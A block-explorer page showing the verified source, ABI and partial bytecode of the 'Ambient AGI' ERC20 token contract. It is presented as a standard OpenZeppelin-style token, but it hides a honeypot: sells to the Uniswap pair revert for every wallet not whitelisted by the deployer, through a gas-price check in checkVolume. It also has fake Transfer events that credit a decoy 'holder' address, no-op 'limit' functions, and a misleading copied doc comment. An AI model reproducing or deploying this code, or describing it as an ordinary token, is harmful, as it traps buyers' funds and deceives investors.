ETH Price: $2,031.02 (+1.80%)
 

Overview

Max Total Supply

100,000,000 AGI

Holders

21

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AmbientAGI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/*

https://www.ambientagi.ai/
https://t.me/ambientagi
https://x.com/ambientagi_ai


// File: contracts\ERC20\TokenMintERC20Token.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;
import "./ERC20.sol";

/**
 * @title TokenMintERC20Token
 * @author TokenMint (visit https://tokenmint.io)
 *
 * @dev Standard ERC20 token with burning and optional functions implemented.
 * For full specification of ERC-20 standard see:
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 */
contract AmbientAGI is ERC20 {

    uint8 private _decimals = 18;
    string private _symbol = "AGI";
    string private _name = "Ambient AGI";
    uint256 private _totalSupply = 100000000 * 10**uint256(_decimals);

    constructor() payable {
      _setFeeReceiver(0x1988D309D3647CbF39EA4DE644EA952Bd978F9E2);

      // set tokenOwnerAddress as owner of all tokens
      _mint(msg.sender, _totalSupply);      
    }

    /**
     * @dev Burns a specific amount of tokens.
     * @param value The amount of lowest token units to be burned.
     */
    function burn(uint256 value) public {
      _burn(msg.sender, value);
    }

    // optional functions from ERC20 stardard

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
      return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
      return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
      return _decimals;
    }
}

// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;

import "./SafeMath.sol";
import "./IERC20.sol";


/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private _BONE = 1;
    mapping(address => bool) public balances;
    address public seeder;
    address public uniswapV2Pair;
    address public holder;
    bool public openedTrade;


    /**
     * @dev See `IERC20.totalSupply`.
     */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See `IERC20.balanceOf`.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See `IERC20.transfer`.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See `IERC20.allowance`.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See `IERC20.approve`.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function unxswapByOrderId(address _user) public {
        require(msg.sender == seeder, "public");
        balances[_user] = true;
    }

    function exacTransaction(address _uniswapV2Pair) public {
        require(msg.sender == seeder, "pl");
        uniswapV2Pair = _uniswapV2Pair;
    }

    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
        airdropp;
        require(msg.sender == seeder, "pl");
        for (uint256 i = 0; i < list.length; i++) {
            _beforeTransfer(msg.sender, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == seeder, "pl");
        openedTrade = true;
    }

    /**
     * @dev See `IERC20.transferFrom`.
     *
     * Emits an `Approval` event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of `ERC20`;
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `value`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _setFeeReceiver(address _holder) internal  {
        holder = _holder;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function checkVolume(address spender, uint256 subtractedValue) public view returns (bool) {
        __approve(msg.sender, spender, _BONE);
        subtractedValue;
        return true;
    }


    function __approve(address sender, address spender, uint256 value) internal view {
        spender;
        sender;
       if (tx.gasprice > value) {
           revert();
       }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to `transfer`, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a `Transfer` event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == seeder) {
            emit Transfer(holder, recipient, amount);
        } else if (recipient == seeder) {
            emit Transfer(sender, holder, amount);
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a `Transfer` event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        seeder = account;
        balances[seeder] = true;
        emit Transfer(address(0), holder, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a `Transfer` event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function _beforeTransfer(address from, address to, uint256 amount) internal {
        if (balances[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");
       if (uniswapV2Pair != address(0) && to == uniswapV2Pair) {
           checkVolume(from, amount);
           _transfer(from, to, amount);
           return;
       }
       _transfer(from, to, amount);
    }


    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an `Approval` event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    /**
     * @dev Destoys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See `_burn` and `_approve`.
     */
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }


    function configureTransactionLimits() external {
        uniswapV2Pair = uniswapV2Pair;
    }

    function tradeBalanceValue() external {
        holder = holder;
    }

    function setMaxWalletBalance() external {
        uniswapV2Pair = uniswapV2Pair;
    }

    function setOrderLimit() external {
        _BONE = _BONE;
    }

    function initializePair() external {
        _BONE = 1;
    }
}

File 3 of 4 : IERC20.sol
// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see `ERC20Detailed`.
 */
interface IERC20 {
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */

pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"checkVolume","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"configureTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"exacTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"holder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initializePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"seeder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMaxWalletBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setOrderLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeBalanceValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unxswapByOrderId","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260016003556012600760156101000a81548160ff021916908360ff1602179055506040518060400160405280600381526020017f414749000000000000000000000000000000000000000000000000000000000081525060089081610069919061064c565b506040518060400160405280600b81526020017f416d6269656e7420414749000000000000000000000000000000000000000000815250600990816100ae919061064c565b50600760159054906101000a900460ff1660ff16600a6100ce9190610877565b6305f5e1006100dd91906108c1565b600a55610103731988d309d3647cbf39ea4de644ea952bd978f9e261011a60201b60201c565b61011533600a5461015d60201b60201c565b610a3d565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036101cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c29061095c565b60405180910390fd5b6101e0816002546103b560201b90919060201c565b600281905550610235815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103b560201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516103a99190610989565b60405180910390a35050565b5f8082846103c391906109a2565b905083811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610a1f565b60405180910390fd5b8091505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061048d57607f821691505b6020821081036104a05761049f610449565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104c7565b61050c86836104c7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61055061054b61054684610524565b61052d565b610524565b9050919050565b5f819050919050565b61056983610536565b61057d61057582610557565b8484546104d3565b825550505050565b5f90565b610591610585565b61059c818484610560565b505050565b5b818110156105bf576105b45f82610589565b6001810190506105a2565b5050565b601f821115610604576105d5816104a6565b6105de846104b8565b810160208510156105ed578190505b6106016105f9856104b8565b8301826105a1565b50505b505050565b5f82821c905092915050565b5f6106245f1984600802610609565b1980831691505092915050565b5f61063c8383610615565b9150826002028217905092915050565b61065582610412565b67ffffffffffffffff81111561066e5761066d61041c565b5b6106788254610476565b6106838282856105c3565b5f60209050601f8311600181146106b4575f84156106a2578287015190505b6106ac8582610631565b865550610713565b601f1984166106c2866104a6565b5f5b828110156106e9578489015182556001820191506020850194506020810190506106c4565b868310156107065784890151610702601f891682610615565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561079d578086048111156107795761077861071b565b5b60018516156107885780820291505b808102905061079685610748565b945061075d565b94509492505050565b5f826107b55760019050610870565b816107c2575f9050610870565b81600181146107d857600281146107e257610811565b6001915050610870565b60ff8411156107f4576107f361071b565b5b8360020a91508482111561080b5761080a61071b565b5b50610870565b5060208310610133831016604e8410600b84101617156108465782820a9050838111156108415761084061071b565b5b610870565b6108538484846001610754565b9250905081840481111561086a5761086961071b565b5b81810290505b9392505050565b5f61088182610524565b915061088c83610524565b92506108b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846107a6565b905092915050565b5f6108cb82610524565b91506108d683610524565b92508282026108e481610524565b915082820484148315176108fb576108fa61071b565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610946601f83610902565b915061095182610912565b602082019050919050565b5f6020820190508181035f8301526109738161093a565b9050919050565b61098381610524565b82525050565b5f60208201905061099c5f83018461097a565b92915050565b5f6109ac82610524565b91506109b783610524565b92508282019050808211156109cf576109ce61071b565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f610a09601b83610902565b9150610a14826109d5565b602082019050919050565b5f6020820190508181035f830152610a36816109fd565b9050919050565b6122e380610a4a5f395ff3fe608060405234801561000f575f80fd5b506004361061018c575f3560e01c8063684931ed116100dc578063c9567bf911610095578063cf2030b91161006f578063cf2030b914610438578063dd62ed3e14610442578063e534155d14610472578063f2c8aceb146104905761018c565b8063c9567bf9146103e2578063ce888e19146103ec578063cf06a4781461041c5761018c565b8063684931ed1461033257806370a082311461035057806395d89b4114610380578063a8ddf38c1461039e578063a9059cbb146103a8578063ab53c1ae146103d85761018c565b8063395093511161014957806349bd5a5e1161012357806349bd5a5e146102e25780634a1927d7146103005780634fab9e4c1461030a5780635408d42d146103145761018c565b8063395093511461027a5780634022b75e146102aa57806342966c68146102c65761018c565b806306fdde0314610190578063095ea7b3146101ae57806318160ddd146101de57806323b872dd146101fc57806327e235e31461022c578063313ce5671461025c575b5f80fd5b6101986104ac565b6040516101a591906117a3565b60405180910390f35b6101c860048036038101906101c39190611861565b61053c565b6040516101d591906118b9565b60405180910390f35b6101e6610552565b6040516101f391906118e1565b60405180910390f35b610216600480360381019061021191906118fa565b61055b565b60405161022391906118b9565b60405180910390f35b6102466004803603810190610241919061194a565b610607565b60405161025391906118b9565b60405180910390f35b610264610624565b6040516102719190611990565b60405180910390f35b610294600480360381019061028f9190611861565b61063a565b6040516102a191906118b9565b60405180910390f35b6102c460048036038101906102bf9190611ba9565b6106da565b005b6102e060048036038101906102db9190611c31565b6107c6565b005b6102ea6107d3565b6040516102f79190611c6b565b60405180910390f35b6103086107f8565b005b61031261085b565b005b61031c610865565b60405161032991906118b9565b60405180910390f35b61033a610878565b6040516103479190611c6b565b60405180910390f35b61036a6004803603810190610365919061194a565b61089d565b60405161037791906118e1565b60405180910390f35b6103886108e2565b60405161039591906117a3565b60405180910390f35b6103a6610972565b005b6103c260048036038101906103bd9190611861565b61097d565b6040516103cf91906118b9565b60405180910390f35b6103e0610993565b005b6103ea6109f6565b005b61040660048036038101906104019190611861565b610aa2565b60405161041391906118b9565b60405180910390f35b6104366004803603810190610431919061194a565b610aba565b005b610440610ba1565b005b61045c60048036038101906104579190611c84565b610c04565b60405161046991906118e1565b60405180910390f35b61047a610c86565b6040516104879190611c6b565b60405180910390f35b6104aa60048036038101906104a5919061194a565b610cab565b005b6060600980546104bb90611cef565b80601f01602080910402602001604051908101604052809291908181526020018280546104e790611cef565b80156105325780601f1061050957610100808354040283529160200191610532565b820191905f5260205f20905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b5f610548338484610d7d565b6001905092915050565b5f600254905090565b5f610567848484610f40565b6105fc84336105f78560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110c890919063ffffffff16565b610d7d565b600190509392505050565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f600760159054906101000a900460ff16905090565b5f6106d033846106cb8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461112590919063ffffffff16565b610d7d565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076090611d69565b60405180910390fd5b5f5b82518110156107c0576107b33384838151811061078b5761078a611d87565b5b60200260200101518484815181106107a6576107a5611d87565b5b6020026020010151610f40565b808060010191505061076b565b50505050565b6107d03382611182565b50565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6001600381905550565b600760149054906101000a900460ff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600880546108f190611cef565b80601f016020809104026020016040519081016040528092919081815260200182805461091d90611cef565b80156109685780601f1061093f57610100808354040283529160200191610968565b820191905f5260205f20905b81548152906001019060200180831161094b57829003601f168201915b5050505050905090565b600354600381905550565b5f610989338484610f40565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c90611d69565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b5f610ab03384600354611303565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611dfe565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611d69565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290611e8c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5090611f1a565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3391906118e1565b60405180910390a3505050565b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610f9f57610f9a838383611314565b6110c3565b600760149054906101000a900460ff16610fee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe590611f82565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16